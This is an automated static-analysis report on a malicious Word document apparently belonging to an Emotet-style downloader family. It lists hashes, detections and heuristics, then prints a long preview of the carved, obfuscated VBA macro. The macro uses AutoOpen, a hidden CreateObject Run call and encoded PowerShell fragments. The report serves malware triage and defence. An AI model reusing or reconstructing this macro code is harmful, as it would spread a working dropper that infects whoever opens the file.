Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 862f62c315b2db5c…

MALICIOUS

Office (OLE)

154.0 KB Created: 2018-03-21 20:34:00 Authoring application: Microsoft Office Word First seen: 2018-04-30
MD5: f268f7504e4fdac17f378ec38b206c9b SHA-1: 940ed4b2afb6bfa740c63f2ce3e1d218c5e3149e SHA-256: 862f62c315b2db5ca63038862a813802244240b8dff1d2d71f3850778e3f9cf1
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro uses the CreateObject function and an AutoOpen macro, indicating an attempt to execute code upon opening. The presence of 'macros.bas' and the ClamAV detection 'Doc.Malware.Emodldr-10025032-0' strongly suggest this is a downloader or droppper malware.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(UwkBFAiPaHs).Run TIVzvqQ + Chr(VBA.vbKeyC) + lTPAkCrZlmO + advfI + YZdtnmHaiFrEX, vbHide
Select Case XPfFRj
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "zPGlknw"
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 41211 bytes
SHA-256: 212a0aade417c4bd13484b6fe47973b96c2fe173acd30bf31db83d3771dddf7f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
460 of 786 identifiers look randomly generated (e.g. 'DAgYAkDAkBQMAkDAiBwNAMGAmBAMAYGA1AgMAkDA') — consistent with name-mangling obfuscation. Carved artifact contains 15 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PhoNjoqrQYVI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "PkAiIXtTisuJw"
Function qjRjpujbaud()
On Error Resume Next
Select Case uAImAq
         Case 54774
            iuTYhO = Hex(78932 - CSng(35713) - 67217 + ChrW(XlTiid))
            dMjtOw = AJofOn
End Select
zUUhRSQw = lmIitb("U8Uu2AANAYGAyAgMAgDA2AQZAQDAlBQNAcDA4AgZAUGA0AwYAUGAhBgNAYDAmBgYAMDA1AAOAIGAkBwNAYDAhBANAQDA5AQOAQDAwAgMAEGA3AgMAYDAlBgZAcui", 3, 118)
Select Case nzQdq
         Case 8727
            EVicfv = Hex(68283 - CSng(44976) - 19095 + ChrW(VftXd))
            wPvcYY = JDvVj
End Select
Select Case ljCGN
         Case 13182
            ZDinZ = Hex(92559 - CSng(42707) - 24887 + ChrW(IdFqYo))
            OOBjXX = nBCizL
End Select
KftOqikqJQ = lmIitb("icsiAAUDA4AAOAMGAjBwNAQDAmBgNAEDAwAgNAUGA3AQMAEGAjBwYAQGAlBQYAUDA0AANAUDA2Aw%Yw", 4, 71)
Select Case qqmuzo
         Case 31212
            hwWLnU = Hex(70341 - CSng(60203) - 62757 + ChrW(wzorMa))
            CMvlXN = BwSnT
End Select
Select Case flcqH
         Case 46640
            VsjoEF = Hex(60174 - CSng(46867) - 72044 + ChrW(mqEOWV))
            EQRNKK = pLiwmT
End Select
lFlFuRwrhA = lmIitb("iquwEzAUGAxAwYAIDAkBwNAUGAjBgMAMGAiBgZAkDAhBgZAMGAwAwYAEGA3AAZAMDAjBgNAQDAmBAOAj", 2, 73)
Select Case PuijCl
         Case 33372
            fPitn = Hex(2644 - CSng(57366) - 83002 + ChrW(IQpmrH))
            LhEzs = imRWXv
End Select
Select Case hYbKG
         Case 58714
            Ulfolf = Hex(48725 - CSng(6020) - 83194 + ChrW(dQDZkE))
            EbKVu = acijap
End Select
sWztDo = lmIitb("oMwAMDA0AwYAkDAwAAZAMGAyAQOAcDAzAQYAYDAkBQNAQGAxAgMAgDAiBQMAkDAyAwNAMGAzAwMAgDA3ikA", 4, 77)
Select Case nwYvMj
         Case 6488
            UTEAz = Hex(15033 - CSng(24010) - 88876 + ChrW(szUXGi))
            TapFM = zwOGC
End Select
Select Case rdItGK
         Case 72774
            kswiS = Hex(29917 - CSng(23292) - 9808 + ChrW(RDBiMP))
            QJwnD = twMSvB
End Select
uHFFzs = lmIitb("D1%QCIAMDAiBAMAMGA3AwYAEGAwAQYAIGA2AQMAgDAkBANAIGAyAAZAEDAkBwMAEGA2AANAUGAmBwNAADAzAQZAIDAxAANAQDAxAQZAMGA5AQMAADAjBwNN", 2, 112)
Select Case OwFji
         Case 32839
            HBPPbC = Hex(88660 - CSng(68054) - 82226 + ChrW(MiOjd))
            LwFwzz = zTKmZ
End Select
Select Case PXwQzV
         Case 32659
            PNVus = Hex(24187 - CSng(61585) - 87171 + ChrW(JdHIJd))
            qrTiu = BzTcnR
End Select
lYBluRn = lmIitb("5DAgYAkDAkBQMAkDAiBwNAMGAmBAMAYGA1AgMAkDAlBgMAQDA2AgMAcDAlBgMAMDAmBgNAEDAwAgMAYGwVvRMjQ", 8, 78)
Select Case ohJKf
         Case 87448
            IsCYs = Hex(3453 - CSng(54319) - 12645 + ChrW(anFtY))
            HCmHnM = aQYOU
End Select
Select Case krlGzX
         Case 19716
            spkKJ = Hex(73902 - CSng(23510) - 84287 + ChrW(lCFfpd))
            PMsCPB = QwzGd
End Select
JXFuLLh = lmIitb("pjipGA3AgMAcDAlBQYAADAhBgNAADAjBgZAMDA3AQMAIGA1AQYAQGAhBgYAIGAiBgNAQDAmBQOAEDAzAgMAYGAhBgYAYGA0AgYAYGAj5", 3, 98)
Select Case wOCuqE
         Case 79577
            tlVzfo = Hex(87095 - CSng(27299) - 47990 + ChrW(vNqrm))
            HErZUN = fisfX
End Select
Select Case JzrRi
         Case 30072
            iSiMJ = Hex(80854 - CSng(93536) - 39595 + ChrW(DhamoW))
            ATfKbS = bCifS
End Select
hJSFhIwBsiA = lmIitb("ii5GA5AgYAADA2AAMAYGA3AQZAkDAyAAZAMGAyAAOAgDA1AAOAEDA3AQMAIDAmBgNAkDAjBQZAMDA3AgMAUDAmBgZAIDAlBQZAUGA5AwYAkDAhBwNAADAmBwMAYGAzAQZAYDAlBgNAIDAhBQOAcDAhB8iw", 4, 148)
Select Case bRsjM
         Case 82109
            oLOAEM = Hex(76871 - CSng(88001) - 41984 + ChrW(BVnKqw))
            FoPvH = iKdwW
End Select
Select Case AiZPbz
         Case 80664
            iShod = Hex(49332 - CSng(60393) - 80719 + ChrW(MbACrP))
            jVYXz = mBOSnD
End Select
FldHDPvsL = lmIitb("74pK9AQNAMDAwAgMAMDA5AAOAMGAmBQOAQGAhBQOAcDAmf", 2, 40)
Select Case lsBhbo
         Case 38753
            BBbhiu = Hex(68504 - CSng(49063) - 73660 + ChrW(ITAjGb))
            ZCjja = lbzsU
End Select
Select Case vnvRJA
         Case 56137
            jOcOh = Hex(99776 - CSng(29494) - 52933 + ChrW(QhrKYr))
            oqdof = fajiEQ
End Select
rEtQAqwQ = lmIitb("pwAZAEDAiBANAADA3AAMAMGAiBAOAMGniVib0M", 8, 29)
Select Case AzfdFX
         Case 42964
            RGctN = Hex(75306 - CSng(91880) - 92500 + ChrW(pWwYd))
            XorDi = iwvwz
End Select
Select Case QumwnJ
         Case 77902
            QCTQYj = Hex(76162 - CSng(98656) - 60932 + ChrW(otCSGB))
            YRsmFu = lwzuI
End Select
oCbqjk = lmIitb("Q0RdWMrOAYGA1AwYAQDAyAQOAMDAkBgMAQDAyAwNAMDAhBgNAYDAwAwYAADAlBwNAUDAxAgYAIGAzAgNAMDAmBAZAkDAiBQMAADAlBgNAEGAkBAZAgDAlBgNAADA1AwNAQDAyAAZAMDAzAAZAIGA3AAMAQGA3AwYAMDA3AAOAkDAlBgYAgDA1AgYAIGAzAANAQGA2AAZAcDp", 2, 196)
Select Case EXsZXZ
         Case 3094
            cJTlhR = Hex(43788 - CSng(98067) - 84554 + ChrW(nkDOrw))
            LHQick = rEoRBd
End Select
Select Case cppau
         Case 58441
            tNVqW = Hex(88389 - CSng(42654) - 98026 + ChrW(rriMC))
            lkhHbn = VIcQnT
End Select
MYNkCBW = lmIitb("3%GA1AgNAQDAwAAOAMDA3AANAEGA3AwYAUGAwAANAMGAmBApvc3M", 6, 45)
Select Case JiBVEv
         Case 56594
            KQjAwA = Hex(77629 - CSng(65386) - 17453 + ChrW(LvEEsn))
            iNrMO = GCFPM
End Select
Select Case cwcdAh
         Case 90975
            ibBPL = Hex(87918 - CSng(60443) - 52232 + ChrW(BTNwwq))
            CdiIA = lPbzI
End Select
iwPZcFu = lmIitb("oREGAlBwNAADAxAgZAMDAmBQZAYGA1AQMAUDA5AQMAEDAyAwNAkDAmBAOAYDAzAQOAMGAwAS0AHuil", 8, 69)
Select Case oQdZEK
         Case 31294
            DTGEr = Hex(7525 - CSng(92782) - 44774 + ChrW(ntdHYb))
            DmSLp = oOlEmi
End Select
Select Case twErvV
         Case 32977
            AdhNC = Hex(91908 - CSng(37802) - 61396 + ChrW(nKRmmn))
            YrriL = rOWzcw
End Select
hwnaPDqltd = lmIitb("04AhBgYAMDAlBwMAQGA2AwMAMDAwAAZAcDA5AgNAMDAxAwYAcDAjBAOAIDAyAQZAQDAjBgNAYDAiBgYAMGAlBQOAUDAyAwMAQDA3AAOAIGAjBQMAMGAyAwMAUGAEw9E", 5, 121)
Select Case fvZMv
         Case 68369
            vsbjqj = Hex(97430 - CSng(42619) - 73689 + ChrW(wGJhT))
            impKm = rCTWR
End Select
Select Case EYasG
         Case 46368
            NXRkjV = Hex(60341 - CSng(21876) - 64925 + ChrW(ZYFIw))
            dCiaRz = jsJJv
End Select
ziUzMC = lmIitb("A2qAoFA8BgM5435a05061b3143240f3476111d29467'(,' '  laItNEdeRCSwMiph", 6, 58)
Select Case EsXzO
         Case 34388
            bkdSL = Hex(29087 - CSng(16458) - 45670 + ChrW(SVQIvz))
            bwTPPk = XLkuci
End Select
Select Case ISGcDl
         Case 64271
            cbXvb = Hex(41193 - CSng(76257) - 56609 + ChrW(KRkWhl))
            iEzJv = RqzkbA
End Select
ntXwh = lmIitb("QoO.UpAlBAZAMDA0AwNAEDA4AgNAkDAhBgMAcDA4AwMAQDAyAQOAUGA4AgZAYDA5AQOAUGAwAAZAQGA5AwNAIGAhBQZAIDA4AQMAEDA5AgMAQDAyAAOAMDAxAgYAMGAxAANAgDAkBgYAkDAwAQNAQDA0AQZAUDA4AgNAIGAmBwMAIDAyAQYAkDA4AQNAQDA1AQNAEBSS", 4, 191)
Select Case vRqXET
         Case 25460
            PYzSKj = Hex(97757 - CSng(46200) - 26170 + ChrW(ajztz))
            YXrJhz = tnmBsb
End Select
Select Case azNSu
         Case 71151
            DERML = Hex(59690 - CSng(66178) - 59874 + ChrW(nJamw))
            UtUZYd = ijDHoZ
End Select
rWiUarjNb = lmIitb("bS0iRAhBQZAcDA1AQNAADAhBQMAQGAxAgMAUDAhBQOAMGAhBAZw99", 4, 45)
Select Case LupAHn
         Case 92538
            iAhkhw = Hex(91084 - CSng(44835) - 26166 + ChrW(FAiUw))
            MjJah = EqIDL
End Select
Select Case rQjOd
         Case 57497
            ZkrYR = Hex(7458 - CSng(5759) - 3903 + ChrW(MOCaFb))
            XHKMQ = RhzpfI
End Select
OtrkaGZY = lmIitb("qYEd%AZAMGAlBgMAEGAjBwMAADAkBgNAYGAhBwYAADAiBQNAUDA2AQNAADAhBQOAUGAzAQZAMDAxAQOAEGAkBwYAcDAiBQMAQDAhBgNAUDAlBQZAQGAxAgNAMGAR", 2, 118)
Select Case YTiKc
         Case 98103
            WspdG = Hex(804 - CSng(3274) - 55749 + ChrW(EFMPGM))
            TRrqT = ZcYuh
End Select
Select Case OovdZY
         Case 63254
            zSwnT = Hex(2099 - CSng(18780) - 720 + ChrW(FiNuHp))
            WiKRiP = ZzRpNX
End Select
jHAKbGBcdqn = lmIitb("wUw38YAYDAyAAZAIDAzAwYAEGA3AAOAcDAwAgYAYDA2AgZAUDA5AQZAQGA2AQZAUDA4AwNAQGAiBL4", 3, 71)
Select Case FBSCw
         Case 92529
            XlakwH = Hex(96515 - CSng(22357) - 38383 + ChrW(HwDHrN))
            iksZq = LwdNA
End Select
Select Case TKUbk
         Case 77766
            UPlGKw = Hex(20308 - CSng(85002) - 61647 + ChrW(CQZpf))
            ojOkj = YtZbo
End Select
KPQQUzQdaoR = lmIitb("DnUmmiADAzAwNAMGA5AANAQDA5AQMAADAhBAOAcDAyAANAIDAmBAZAADA3AAOAkDA4AQZAADAkBQMAcDA5AAOAIGAmBgYAIDAyAQYAQDA0AgMAUDAxAQZAIDA0AgYAUDA1AQOAcDAjBANAADA3AgMAYDAhBANAUGAkBwMAQDAxAwMAYGA2AgZAUDAlBQ0", 2, 182)
Select Case fXsKA
         Case 41502
            zjmFSU = Hex(75226 - CSng(48026) - 49128 + ChrW(sHSoCf))
            WDLMrr = iHrMId
End Select
Select Case NJsIPN
         Case 9240
            ZPrzQ = Hex(69396 - CSng(20441) - 18174 + ChrW(lwhOp))
            zKqFzz = siCCrI
End Select
SRrPRiK = lmIitb("7wBwNAEGAiBwMAEGAlBwYAQDAwAANAIDAhBJiPr", 5, 33)
Select Case wITrw
         Case 21649
            aSlos = Hex(14261 - CSng(47976) - 69702 + ChrW(jOXKs))
            ZHHKjX = wNtCH
End Select
Select Case sNUjRJ
         Case 72336
            vwWmAY = Hex(24484 - CSng(22963) - 73991 + ChrW(qJNjp))
            pdAOd = jzpLih
End Select
uhuAiuSdR = lmIitb("OzKDAlBQMAQDAwAgNAUDA0AgZAcDA5AwNAgDAhBQMAgDAmBQYAUDAwAAZAQGAzAgZ4QunMo", 7, 62)
Select Case YOtoUa
         Case 65079
            bqtnps = Hex(50770 - CSng(69145) - 10957 + ChrW(IYwrnJ))
            IzPXz = pfQOBz
End Select
Select Case VqfMTQ
         Case 97827
            lFwzZi = Hex(97671 - CSng(31653) - 54035 + ChrW(rPzcGV))
            fPwni = dAfhrD
End Select
LwzjwzkHdMC = lmIitb("ksDAzAgMAUDA0AgZAMGA5AANAADA0AgMAYGAzAQNAkDA2AQYAMDA4AQYAcDAzAgZAcDAxAAOAMGAwAAZAADAyAAOAE3qu%KS", 7, 88)
Select Case dUmOhI
         Case 57602
            CQFKQr = Hex(23982 - CSng(20621) - 65684 + ChrW(jJqnAA))
            HISzt = HNzBW
End Select
Select Case phwJhM
         Case 5054
            dCimpY = Hex(52827 - CSng(78434) - 72630 + ChrW(qTMsu))
            azvWis = jlMioz
End Select
nOKqqikVL = lmIitb("D,lbAgDAxAANAQDA0AwYAEGAhBgZAYDA4AQNAQDAkBAOAIGAzAQNAUGAiBQZAMDAhBAMAUDA5AQOAEGAhBgMAIDAzAQOAIGA3AQMAEDAkBgZAYGAyAAOAMGAhBwMAEGAkBgYAADAyAgNAMGAhBAOAUGA4AwNAIDA3AgYAIDAzAgYA,t", 3, 169)
Select Case NHjwB
         Case 90761
            oTbPjp = Hex(39989 - CSng(77278) - 95710 + ChrW(wmLji))
            jUkVw = cqnpO
End Select
Select Case aFjRja
         Case 17433
            rpzEMW = Hex(26530 - CSng(60958) - 25417 + ChrW(zNOvPE))
            SjpYW = kpzNi
End Select
zAKHfLpuJKj = lmIitb("qwUQlBwMAQDAhBgMAYDAmBQNAIDA3AQYAMGA4AAOAEDA0AwNAMGA3AwYAADAiBQOAEGAiBQOAEGAlBwNAMDA2AwNAcDA4AAMAQDAxAgZAADAiBgNAkDAyAwYAMGA3AgMAEQQ", 3, 126)
Select Case IjXfAn
         Case 34343
            kbGiAB = Hex(70086 - CSng(83592) - 29187 + ChrW(iqizNq))
            JURPP = JfpEK
End Select
Select Case IuATEE
         Case 35085
            qjOWM = Hex(65860 - CSng(6172) - 73306 + ChrW(Lwhvp))
            rhwZc = tvzOm
End Select
tuvIZpYKo = lmIitb("V0zS2RAjBwNAQDAxAgZAMDAwAQMAADAwAQYAADA5AANAQDAhBAMAMGAwAAOAQGAkBAMAQDAzAAOAEGAmBgNAcDA4AQYAcDAjBgZAUGAyAQOAkDA3AAMAIGAhBgZAUGAmBwYAEDAwtm", 3, 130)
Select Case wnbRR
         Case 44738
            WfPJzd = Hex(38984 - CSng(51805) - 14651 + ChrW(BiDTrJ))
            HipFzk = IZNEw
End Select
Select Case EAFOXk
         Case 53650
            DTJIEi = Hex(86068 - CSng(65595) - 16084 + ChrW(HqmCoC))
            zoKqMK = iknbv
End Select
TwjDIpDnfD = lmIitb("NnAOAEDAzAQZAQDAiBQMAUDAmBQZAQDAxAANAcDA2AgYAUDA3AAMAIDAjBQMAIDA4AQOAADA2AQMAEDAkBAMAUDA0AAOAADAiBAZAEDA3AwNAQDA5%i5Qb", 6, 111)
Select Case EpvocZ
         Case 6868
            VzVSs = Hex(90039 - CSng(79048) - 69922 + ChrW(BMCca))
            RsrIni = rRmin
End Select
Select Case fpBcMW
         Case 19406
            EAClj = Hex(95988 - CSng(98919) - 45920 + ChrW(jwVXX))
            sbQlw = ntkFkd
End Select
KfVJErhvsVL = lmIitb("lYAEGA3AgNAYGA4AgYAYDAmBgYAQDA2AwNAUGA0AQZAIDA2AQMAADAkBAMAgDA1AQYAgDAjBQYAIDAyAQNAMDA4AQNAMGAyAgZAQDA4AQYAYDA2AQZA2jQV", 5, 113)
Select Case QZdbYj
         Case 43827
            iGXKKj = Hex(92247 - CSng(53734) - 37630 + ChrW(VIVIA))
            lNWQGR = zTQHnF
End Select
Select Case Kufji
         Case 73105
            oPfnrp = Hex(48975 - CSng(88617) - 96912 + ChrW(lzNhD))
            hYkwqt = jAkipU
End Select
QQztjnNq = lmIitb("58gZAkDAyAwYAMGAxAwNAYDAmBgYAQDAlBAOAQGA1AQYAYGAM9ShV", 6, 46)
Select Case zDuOQi
         Case 28196
            tCApzC = Hex(56486 - CSng(73031) - 1359 + ChrW(GJzIwn))
            viznHK = ZGRhCw
End Select
Select Case WtTVOU
         Case 29035
            fKTnb = Hex(58698 - CSng(12676) - 61718 + ChrW(lcGCtL))
            spLAqO = ocrZi
End Select
jMobuAzJ = lmIitb("pri0jhBwMAQDA0AQZAQGAlBQMAUGA4AwNAMGAkBQZAIDA3AANAkDA2AQMAcDA5AQMAcDAyAQMAEGA0AQNAEGAkd", 2, 81)
Select Case ldUTla
         Case 65026
            sGhusG = Hex(52361 - CSng(21746) - 23732 + ChrW(difdZI))
            JQzfL = FYsFII
End Select
Select Case jwRBZ
         Case 12721
            zUwOEO = Hex(11311 - CSng(82631) - 53403 + ChrW(MlIid))
            LBrbD = VcGRrQ
End Select
OzjpZK = lmIitb("EhsU%R1AQOAUGAyAQNAUGAyAQOAQDAxAQZAADAyAQNAIGAxAQOAIGAlBgZAYGAwAAZAEDAwAQZAMDAlBAOAIGAmBAMAQGA1AgZAMDAzAAMAUDA3AQYAQDAyAANAMGAhBQNAMDAlBgMAUDAmBANAIGA3AQMAUGAxAwNAEDAwAQMAUDAmBQOAEGAwj", 2, 176)
Select Case XHTlhO
         Case 64360
            lCFUAS = Hex(73232 - CSng(68266) - 84960 + ChrW(iDXFA))
            iiRwWH = WpEEts
End Select
Select Case FpjTsV
         Case 73934
            WUCFaG = Hex(69334 - CSng(97601) - 33559 + ChrW(vOjRt))
            WFXbVs = XMBhR
End Select
CjjzZSEspXH = lmIitb("4tAhBwMAYDAjBwNAIGA0AQZAADAkBQYAEDA5AwMAUGA0AwNAQDAkBgZAIDA2AwMAADAxAwNAEGA4AwNAcDAxAQOAQDAkBwNAgDA3AgZ%R.Sf", 6, 101)
Select Case KZrkK
         Case 26210
            aCZkRX = Hex(66115 - CSng(78459) - 18766 + ChrW(Cowow))
            zKPdvi = YZSoHa
End Select
Select Case dQbfP
         Case 55539
            BPhaui = Hex(1737 - CSng(32697) - 26174 + ChrW(SdkpCk))
            IjCYOS = JcjzD
End Select
TjdsSd = lmIitb("U9n1XgDA5AAMAEGA0AANAUDAwAAZAADAxAQOAYDAkBAOAUDAzAwYAADAkBAOAMDAhBANAEDAjBQNAIGAjBgZAEGAzAgMAIDAhBgNAIGA5AAOAUDA4AgNAMDAhBANAgDA5AQMAcDAxAwNAIDA2AQZAADAmBwNAgDA5AQZAgDA5AQOAYGA5AQMYUr", 4, 175)
Select Case tvBvJz
         Case 4399
            NjUrVE = Hex(36443 - CSng(2085) - 94926 + ChrW(bfmWia))
            mwYQS = BNRCXb
End Select
Select Case vciPc
         Case 38416
            XIkpoz = Hex(42589 - CSng(73229) - 46902 + ChrW(tXtia))
            iVGXo = PFiPp
End Select
CuWDwJj = lmIitb("64fNU04AQZAMDAlBQOAcDAmBwNAQGAmBQNAIDAxAANAUDA0AgZAMGAjBQMAIDAlBgMAIDA2AAOAEDAxAAMAUGA0AwNAEGAmBAMAcDAwAgZAADAxAANAEDAjBgYAQDAhBwYAQDA2AwYAQGAiBAMAMDAiBAMAUDAlBgMAMDm,", 3, 159)
Select Case jSkjjI
         Case 83192
            bZPqpH = Hex(21060 - CSng(27603) - 2706 + ChrW(jnUFEt))
            wHwsf = YHlFG
End Select
Select Case iSOCF
         Case 40152
            IHUHAd = Hex(65747 - CSng(48660) - 24765 + ChrW(nbLFB))
            JXXkw = jMoBCr
End Select
rQYirCA = lmIitb("B9T%XEi| dRoWSsap.)(LaItneDerCKrOwteNTeg.) ) 82,46,41,08,481,311,942,301,321,881,78,87,071,701,222,561 EK- gNirtsERUCEs-ottREvNOC |'AIDAhBRh%@6", 6, 134)
Select Case divnI
         Case 72242
            fiPEvE = Hex(92528 - CSng(5235) - 53855 + ChrW(dzcIFf))
            kfhbHS = aqOjdr
End Select
Select Case czHqCB
         Case 3142
            qJdfAu = Hex(15415 - CSng(33020) - 4174 + ChrW(bXTiZ))
            mjuWa = sOlRBd
End Select
XqHzFiac = lmIitb("VPP.NoItaMOtUa.tnemeGaNam TCEJbo-WEn(mqlqDw", 7, 35)
Select Case iNZEQB
         Case 61173
            URKrd = Hex(92263 - CSng(30029) - 72153 + ChrW(awZvD))
            GfTPQ = tjsin
End Select
Select Case rvZcCa
         Case 9839
            qclln = Hex(18344 - CSng(98989) - 78947 + ChrW(dBbuT))
            iOfbs = ZGDMu
End Select
qcOdO = lmIitb("RRjOYAYDA5AQZAgDAzAwNAQGAlBQMAADA3AUO5", 4, 31)
Select Case oUcoE
         Case 18040
            rqfWP = Hex(6456 - CSng(88914) - 24392 + ChrW(FWQzXr))
            NXwMJR = iYsuL
End Select
Select Case sJihCj
         Case 96963
            WaFUAd = Hex(82183 - CSng(66923) - 54618 + ChrW(tjhbOL))
            KWjsdj = vAkPM
End Select
wjNOfi = lmIitb("CsQ6NgMAwHA9AQPAEFAzBAWAkDAIBAeAoGApBwZAgFA1BgcAoEA0BwbAEEAWBQaAQEAkBASAfw", 3, 67)
Select Case BSvIXS
         Case 20140
            CquZWq = Hex(5271 - CSng(69367) - 18123 + ChrW(uTisM))
            EsuzY = sbWoY
End Select
Select Case WabZY
         Case 14436
            tTUIs = Hex(48627 - CSng(22662) - 47455 + ChrW(CGqQnY))
            vizDUM = PwDRlD
End Select
wLrAY = lmIitb("i,tRAlBgYAEGAyAQZAADAmBwNAgDA5AwMAUGAlBANAADAyAwNAMGA1AgMAMDA5AANAUDA4AwYAEDAyAgNAIDAiBAZAcDA0AwYAgDAkBwNAUGA0AQYAUGA0AgMAYDAwAQOAUDA4AgNAkDA4AwMAQDAwAAOAQDAiBgMAMGAzAwMAMGACKRW", 5, 168)
Select Case pwwBj
         Case 10640
            ZMIJs = Hex(52540 - CSng(42852) - 42558 + ChrW(pTzvj))
            ZDwjnE = pIaUq
End Select
Select Case RTolh
         Case 6156
            EfvpwK = Hex(39848 - CSng(86682) - 49667 + ChrW(OFcoCh))
            wRvido = adowzw
End Select
nmNAsiJAAf = lmIitb("p0tM6OYAMAADAwAQNAADA5AwMAYDA0AAZAQDAkBAZAcDA1AgYAkDA5AQOAMDA5AQMAgDAlBgZAEGA5AgYAUGAlBgZAEGA0AgZAMGA0AwMAIGA5AAOAIGA5AQMAMGAwAwYAEGA2AwY ", 2, 130)
Select Case iENrb
         Case 99528
            OufGHM = Hex(46929 - CSng(60291) - 63873 + ChrW(OlumPH))
            brGPS = WvbWk
End Select
Select Case XVFSJ
         Case 39893
            PYIVc = Hex(15437 - CSng(86046) - 36636 + ChrW(HDzPqN))
            kZQiPE = zsbVaA
End Select
WKmaqMWj = lmIitb("WzJADA5AQZAEGAyAQZAQGAzAgYAgDA0AQNAYDA2AgYAIDAiBQYAIDA3AQOAYDAwAwYAMDAlBAZAEGAjBQYAADAxAgYAgDAmBAMAgDAyAQMAMGAmBgNAUGAlBQYAMGA1AQNAEGA1AAOAIDAmBANAkDAwAgMAEDAzAQZAADA1AQYAADA4AAZAQGA3AAZAAjcT", 4, 185)
Select Case sZVmuP
         Case 80216
            khsIoW = Hex(29959 - CSng(95580) - 84374 + ChrW(JZVss))
            mLjKdA = SSdOib
End Select
Select Case wXaTo
         Case 49596
            XRPXz = Hex(17306 - CSng(88686) - 74569 + ChrW(lDwsd))
            TtPpwj = wlwlu
End Select
ObAirnjtRN = lmIitb("3llVBQZAEGAzAgMAIDA5AgZAUDi@wBV", 6, 22)
Select Case aWJYn
         Case 48445
            oZnTw = Hex(37581 - CSng(19467) - 98652 + ChrW(pFOdwE))
            DwdVMV = ZLObMC
End Select
Select Case WJDGKO
         Case 62886
            mjGkm = Hex(12237 - CSng(89831) - 61210 + ChrW(zKhTt))
            bmCuj = wcivX
End Select
rZcuS = lmIitb("YUWjqizAgNAUDAmBwNAYGAyAQZAEDA3AwYAYDA1AAOAQDAwAgNAEDAjBgZAQDAjBQMAEDA0AAOAYGAxAgNAIGA0AANAADAyAQOAMGA2AQOAu", 2, 100)
Select Case qMvjlM
         Case 42893
            BRiTj = Hex(6141 - CSng(90689) - 62276 + ChrW(Bjicuc))
            ITzDn = coOYE
End Select
wMjidAzNw = WQZUzTNJHj + """" + fTRucMtEv
qjRjpujbaud = plmjlvJYVcAH + bYROSluppEHw + XqbcjuF + wMjidAzNw + KRcOhJjSMYE + XqHzFiac + ziUzMC + wjNOfi + jHAKbGBcdqn + KftOqikqJQ + TjdsSd + rZcuS + OzjpZK + TwjDIpDnfD + qcOdO + KPQQUzQdaoR + nOKqqikVL + CjjzZSEspXH + oCbqjk + MYNkCBW + LwzjwzkHdMC + zUUhRSQw + JXFuLLh + ntXwh + lYBluRn + sWztDo + nmNAsiJAAf + iwPZcFu + lFlFuRwrhA + uhuAiuSdR + WKmaqMWj + KfVJErhvsVL + uHFFzs + rWiUarjNb + ObAirnjtRN + jMobuAzJ + wLrAY + OtrkaGZY + SRrPRiK + FldHDPvsL + tuvIZpYKo + CuWDwJj + QQztjnNq + hJSFhIwBsiA + zAKHfLpuJKj + hwnaPDqltd + rEtQAqwQ + rQYirCA
Select Case kWNAc
         Case 40504
            IkusH = Hex(12511 - CSng(58893) - 65889 + ChrW(USiGh))
            HczzMv = QPzNw
End Select
End Function

Attribute VB_Name = "lfFvSqAqD"
Function XqbcjuF()
On Error Resume Next
Select Case EPLmUt
         Case 20557
            wmGwnz = Hex(47199 - CSng(43676) - 70297 + ChrW(mzHYUM))
            lFbAc = qOFpM
End Select
SpQDviOqz = lmIitb("4cAabjupjj57", 4, 6)
Select Case smpdG
         Case 37391
            EwtNwN = Hex(14130 - CSng(57234) - 87452 + ChrW(UfuzXi))
            ioURPj = ILDrpz
End Select
Select Case hwbPM
         Case 9301
            QzGXwP = Hex(11574 - CSng(85918) - 49186 + ChrW(CAwlVd))
            ELKNYt = RVjRz
End Select
qDaRPVjFMD = lmIitb("4iaQlnsV% teSS5M", 5, 7)
Select Case HZrmR
         Case 11869
            uEQjwD = Hex(24349 - CSng(3357) - 1385 + ChrW(iMSAKA))
            brFkFc = ovQlcJ
End Select
Select Case EnlUf
         Case 98003
            bjzXA = Hex(14797 - CSng(76705) - 59275 + ChrW(WioPik))
            mrfAnS = QUqcL
End Select
iNMVPZRa = lmIitb("%p,QQdu1W", 3, 2)
Select Case DihAr
         Case 75064
            rANiX = Hex(7786 - CSng(38263) - 45004 + ChrW(vbZUJw))
            zwPJMi = KfcKi
End Select
Select Case ivTjwS
         Case 14586
            JuHAi = Hex(37325 - CSng(10354) - 23556 + ChrW(vXWwp))
            zwnMiC = MmafIB
End Select
OAmpiEzFEC = lmIitb("LbOmlZrCkAPTl%Qu6Nr%P", 8, 12)
